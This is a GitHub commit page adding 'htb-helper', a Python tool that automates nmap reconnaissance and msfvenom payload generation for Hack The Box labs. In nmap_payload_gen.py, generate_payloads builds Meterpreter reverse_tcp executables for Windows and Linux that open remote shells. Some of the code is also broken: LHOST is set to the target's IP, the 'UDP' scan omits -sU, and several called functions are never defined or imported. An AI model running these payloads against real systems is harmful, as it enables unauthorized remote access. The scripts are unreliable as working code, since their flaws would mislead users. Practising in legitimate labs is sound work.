Skip to content

Commit

Permalink
added scripts
Browse files Browse the repository at this point in the history
  • Loading branch information
cywf committed Sep 5, 2023
1 parent 088e2bd commit 8a574e4
Show file tree
Hide file tree
Showing 6 changed files with 452 additions and 2 deletions.
49 changes: 47 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,47 @@
# htb-helper
🚀 HTB-Helper: Turbocharge your Hack The Box challenges with automated scans, payload generation, and sleek error handling! 🛡️🔍
# HTB-Helper

A comprehensive tool designed to assist penetration testers and security enthusiasts in their Hack The Box (HTB) challenges. htb-helper streamlines the initial phases of a penetration test by automating common tasks such as Nmap scanning, payload generation, and error handling.

## Features

* **User Input Collection**: Gather essential details like machine name, IP, and type.
* **Directory Structure Setup**: Organize your penetration testing assets for each machine.
* **Tool Installation**: Ensure necessary tools like Nmap are installed and ready to use.
* **Nmap Scanning**: Perform various levels of Nmap scans based on user preference.
* **Advanced Nmap Scripts**: Run vulnerability-specific Nmap scripts based on the target machine type.
* **Payload Generation**: Automatically generate payloads using msfvenom based on the target machine type.
* **Error Handling**: Log errors to error_log.txt and provide a visual loading bar for task progress.

## Usage

Clone the repository:

```bash
git clone https://github.com/[YourUsername]/htb-helper.git
```
Navigate to the htb-helper directory:

```bash
cd htb-helper
```
Run the main script:

```bash
python3 main.py
```
Follow the on-screen prompts to set up and execute various tasks.

### Requirements

- **Python 3.x**
- **Nmap**
- **Msfvenom (from Metasploit Framework)**

### Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

### License

[MIT](LICENSE)

78 changes: 78 additions & 0 deletions error_handling.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
# This script adds the following functionality to the previous scripts:
#
# 1. Error Logging:
#
# - The log_error function will log any errors to a file named error_log.txt. If any subprocess command fails, the error will be captured and logged.
#
# 2. ASCII Loading Bar:
#
# - The loading_bar function will display a simple ASCII loading bar to give the user a sense of progress. It will fill up over a specified duration (default is 5 seconds).
#
# 3. Updated Main Function:
#
# - Each major step is now wrapped in a try and except block. If an error occurs, it's logged, and the script continues to the next step. After each step, a loading bar is displayed to indicate progress.

import time
from datetime import datetime

# ... [Previous functions]

def log_error(error, step, log_file="error_log.txt"):
"""Log the error to a file."""
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
with open(log_file, "a") as file:
file.write(f"{timestamp} - Error during {step}: {error}\n")

def loading_bar(duration=5, message="Processing"):
"""Display an ASCII loading bar."""
for i in range(duration):
print(f"\r{message} [{'#' * (i+1)}{'.' * (duration - i - 1)}] {((i+1)/duration)*100:.0f}%", end="")
time.sleep(1)
print() # Move to the next line after loading bar completes

# Update the main function
def main():
error_count = 0
handle, machine_name, machine_ip, machine_type = get_user_input()
base_dir = setup_directory_structure(machine_name)
loading_bar(message="Setting up directory structure")

try:
install_tools(base_dir)
loading_bar(message="Installing tools")
except Exception as e:
log_error(e, "install_tools")
error_count += 1

if not machine_type:
try:
machine_type = initial_nmap_scan(machine_ip, base_dir)
loading_bar(message="Running initial Nmap scan")
except Exception as e:
log_error(e, "initial_nmap_scan")
error_count += 1
else:
print(f"Machine type provided as: {machine_type}")

try:
advanced_nmap_scan(machine_ip, machine_type, base_dir)
loading_bar(message="Running advanced Nmap scan")
except Exception as e:
log_error(e, "advanced_nmap_scan")
error_count += 1

try:
generate_payloads(machine_ip, machine_type, base_dir)
loading_bar(message="Generating payloads")
except Exception as e:
log_error(e, "generate_payloads")
error_count += 1

print("\nAll tasks completed!")
if error_count:
print(f"{error_count} errors occurred. Check error_log.txt for details.")
else:
print("No errors occurred.")

if __name__ == "__main__":
main()
71 changes: 71 additions & 0 deletions main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
"""
main.py:
This script integrates the functionalities of the error_handling, nmap_payload_gen, setup, and tools modules.
It provides a streamlined process for setting up the environment, scanning the target machine, and generating payloads.
"""

import error_handling
import nmap_payload_gen
import setup
import tools

def main():
"""
Main function to orchestrate the tasks:
- Get user input
- Set up directory structure
- Install necessary tools
- Perform Nmap scans
- Generate payloads
"""
error_count = 0 # Track the number of errors

# Get user input
handle, machine_name, machine_ip, machine_type = setup.get_user_input()

# Setup directory structure
base_dir = setup.setup_directory_structure(machine_name)
error_handling.loading_bar(message="Setting up directory structure")

# Install tools
try:
tools.install_tools(base_dir)
error_handling.loading_bar(message="Installing tools")
except Exception as e:
error_handling.log_error(e, "install_tools")
error_count += 1

# Determine machine type if not provided
if not machine_type:
try:
machine_type = nmap_payload_gen.initial_nmap_scan(machine_ip, base_dir)
error_handling.loading_bar(message="Running initial Nmap scan")
except Exception as e:
error_handling.log_error(e, "initial_nmap_scan")
error_count += 1
else:
print(f"Machine type provided as: {machine_type}")

# Advanced Nmap scan and payload generation
try:
nmap_payload_gen.advanced_nmap_scan(machine_ip, machine_type, base_dir)
error_handling.loading_bar(message="Running advanced Nmap scan")
except Exception as e:
error_handling.log_error(e, "advanced_nmap_scan")
error_count += 1

try:
nmap_payload_gen.generate_payloads(machine_ip, machine_type, base_dir)
error_handling.loading_bar(message="Generating payloads")
except Exception as e:
error_handling.log_error(e, "generate_payloads")
error_count += 1

print("\nAll tasks completed!")
if error_count:
print(f"{error_count} errors occurred. Check error_log.txt for details.")
else:
print("No errors occurred.")

if __name__ == "__main__":
main()
119 changes: 119 additions & 0 deletions nmap_payload_gen.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
# This script adds the following functionality to the previous scripts:
#
# 1. Advanced Nmap Scripts:
# - The script will run advanced Nmap scripts based on the machine type. For Windows, it will run SMB vulnerability scripts, and for Linux, it will run SSH vulnerability scripts. If the machine type is unknown, it will run default scripts.
#
# 2. Payload Generation:
# - The script will generate payloads using msfvenom based on the machine type. For Windows, it will generate a Meterpreter reverse TCP payload in EXE format, and for Linux, it will generate a Meterpreter reverse TCP payload in ELF format.

import os
import subprocess

# ... [Previous functions: get_user_input, setup_directory_structure, install_tools, initial_nmap_scan]

def nmap_scan_choice(machine_ip, base_dir):
print("\nChoose the type of Nmap scan you want to perform:")
print("1. Quick scan")
print("2. Regular TCP scan")
print("3. Full TCP ports scan")
print("4. TCP ports service scan and NSE scripts")
print("5. Full UDP Scan")

choice = input("Enter your choice (1-5): ")

if choice == "1":
cmd = f"nmap -Pn -n -vv --open -F -T4 {machine_ip} -oA {base_dir}/nmap-fast-tcp"
elif choice == "2":
cmd = f"nmap -Pn -n -vv --open -T4 {machine_ip} -oA {base_dir}/nmap-regular-tcp"
elif choice == "3":
cmd = f"nmap -Pn -n -p- -vv --open -T4 {machine_ip} -oA {base_dir}/nmap-full-tcp"
elif choice == "4":
ports_list = input("Enter the list of TCP ports (comma-separated) or leave blank for all: ")
if not ports_list:
ports_list = "-p-"
else:
ports_list = f"-p {ports_list}"
cmd = f"nmap -Pn -n {ports_list} -vv --open -sV -sC --script='vuln and safe' -T4 {machine_ip} -oA {base_dir}/nmap-version-tcp"
elif choice == "5":
cmd = f"nmap -Pn -n -p- -vv --open --max-retries 1 --min-rate 1000 -T4 {machine_ip} -oA {base_dir}/nmap-full-udp"
else:
print("Invalid choice. Please choose a valid option.")
return

try:
subprocess.run(cmd, shell=True, check=True)
except subprocess.CalledProcessError as e:
print(f"Error during Nmap scan: {e}")

def generate_payloads(machine_ip, machine_type, base_dir):
"""Generate payloads based on the machine type and Nmap scan results."""
payloads_dir = os.path.join(base_dir, "payloads")
if not os.path.exists(payloads_dir):
os.makedirs(payloads_dir)

# Check if msfvenom is installed
if not subprocess.run(["which", "msfvenom"], stdout=subprocess.PIPE).stdout:
print("Error: msfvenom not found. Please install Metasploit Framework.")
return

# Determine which payloads to generate based on the machine type
if machine_type == "Windows":
payload = f"msfvenom -p windows/meterpreter/reverse_tcp LHOST={machine_ip} LPORT=1337 -f exe > {payloads_dir}/windows_payload.exe"
elif machine_type == "Linux":
payload = f"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={machine_ip} LPORT=1337 -f elf > {payloads_dir}/linux_payload.elf"
else:
print("Unknown machine type. Cannot generate payload.")
return

# Generate the payload
try:
subprocess.run(payload, shell=True, check=True)
except subprocess.CalledProcessError as e:
print(f"Error during payload generation: {e}")

def advanced_nmap_scan(machine_ip, machine_type, base_dir):
nmap_dir = os.path.join(base_dir, "nmap")
vulnscan_file = os.path.join(nmap_dir, "vulnscan.txt")

# Determine which Nmap scripts to run based on the machine type
if machine_type == "Windows":
scripts = "smb-vuln*"
elif machine_type == "Linux":
scripts = "ssh-vuln*"
else:
scripts = "default"

# Check if the Nmap scripts are available
script_path = "/usr/share/nmap/scripts"
if not os.path.exists(script_path):
print(f"Error: Nmap scripts directory {script_path} not found.")
return

# Run the advanced Nmap scan
try:
subprocess.run(["nmap", "--script", scripts, "-oN", vulnscan_file, machine_ip], check=True)
except subprocess.CalledProcessError as e:
print(f"Error during advanced Nmap scan: {e}")

def main():
handle, machine_name, machine_ip, machine_type = get_user_input()
base_dir = setup_directory_structure(machine_name)
print(f"Directory structure set up at: {base_dir}")

install_tools(base_dir)
print("Tools installed.")

if not machine_type:
machine_type = initial_nmap_scan(machine_ip, base_dir)
print(f"Machine type determined as: {machine_type}")
else:
print(f"Machine type provided as: {machine_type}")

advanced_nmap_scan(machine_ip, machine_type, base_dir)
print("Advanced Nmap scan completed.")

generate_payloads(machine_ip, machine_type, base_dir)
print("Payloads generated.")

if __name__ == "__main__":
main()
68 changes: 68 additions & 0 deletions setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
# This script will:

# 1. Prompt the user for their handle, machine name, and machine IP.
# 2. Ask the user if they know the machine type.
# 3. Set up the directory structure based on the machine name.
# 4. Generate an info.md file in the notes directory.

import os
import datetime

def get_user_input():
"""Get user input for handle, machine name, and IP."""
handle = input("Enter your handle: ")
machine_name = input("Enter the name of the machine you are pentesting: ")
machine_ip = input("Enter the IP of the machine you are pentesting: ")
machine_type = input("Do you know the machine type (Windows/Linux)? If not, just press enter: ")
return handle, machine_name, machine_ip, machine_type

def setup_directory_structure(machine_name):
"""Set up the directory structure for the machine."""
base_dir = os.path.join("htb", machine_name)
subdirs = ["tools", "machines", "nmap", "notes", "loot", "shells", "payloads"]

# Create base directory
if not os.path.exists(base_dir):
os.makedirs(base_dir)

# Create subdirectories
for subdir in subdirs:
os.makedirs(os.path.join(base_dir, subdir), exist_ok=True)

return base_dir

def generate_info_md(handle, machine_name, machine_ip, base_dir):
"""Generate the info.md file in the notes directory."""
notes_dir = os.path.join(base_dir, "notes")

current_time = datetime.datetime.now()
date_str = current_time.strftime("%Y-%m-%d")
time_str = current_time.strftime("%H:%M:%S")

info_content = f"""
# ---------------------- #
# MACHINE INFO #
# #
# IP: {machine_ip} #
# Name: {handle} #
# Box: {machine_name} #
# Date: {date_str} #
# Time: {time_str} #
# ---------------------- #
# ------------------ #
# NMAP RESULT #
# ------------------ #
"""

with open(os.path.join(notes_dir, "info.md"), "w") as f:
f.write(info_content)

def main():
handle, machine_name, machine_ip, machine_type = get_user_input()
base_dir = setup_directory_structure(machine_name)
generate_info_md(handle, machine_name, machine_ip, base_dir)
print(f"Directory structure set up at: {base_dir}")

if __name__ == "__main__":
main()
Loading

0 comments on commit 8a574e4

Please sign in to comment.